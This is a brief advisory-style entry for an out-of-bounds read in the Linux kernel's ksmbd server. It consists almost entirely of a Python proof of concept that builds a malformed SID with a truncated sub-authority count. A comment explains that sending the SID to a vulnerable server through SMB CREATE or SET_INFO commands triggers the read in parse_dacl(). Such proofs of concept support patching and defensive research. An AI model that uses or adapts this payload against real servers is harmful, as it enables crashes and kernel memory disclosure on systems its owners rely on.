CVE-2026-31611 Linux内核ksmbd越界读取漏洞

import struct # This is a conceptual PoC to demonstrate the structure causing the OOB read. # It constructs a Security Descriptor (SD) with a specific SID that triggers the vulnerability. def build_malicious_sid(): # SID Revision: 1 # SubAuthorityCount: 2 (Triggers the bug, expects 3) # IdentifierAuthority: SECURITY_NT_AUTHORITY (5) # SubAuthorities: [88, 3] (Matches S-1-5-88-3) sid_revision = 1 sub_auth_count = 2 identifier_authority = b'\x00\x00\x00\x00\x00\x05' # S-1-5 sub_authorities = struct.pack('<II', 88, 3) sid = struct.pack('<B', sid_revision) sid += struct.pack('<B', sub_auth_count) sid += identifier_authority sid += sub_authorities # The ACE containing this SID should be placed at the end of the ACL. return sid # Note: Sending this to a vulnerable ksmbd server via SMB COM2/CREATE or SET_INFO # commands may trigger the out-of-bounds read in parse_dacl(). print(f"Malicious SID hex: {build_malicious_sid().hex()}")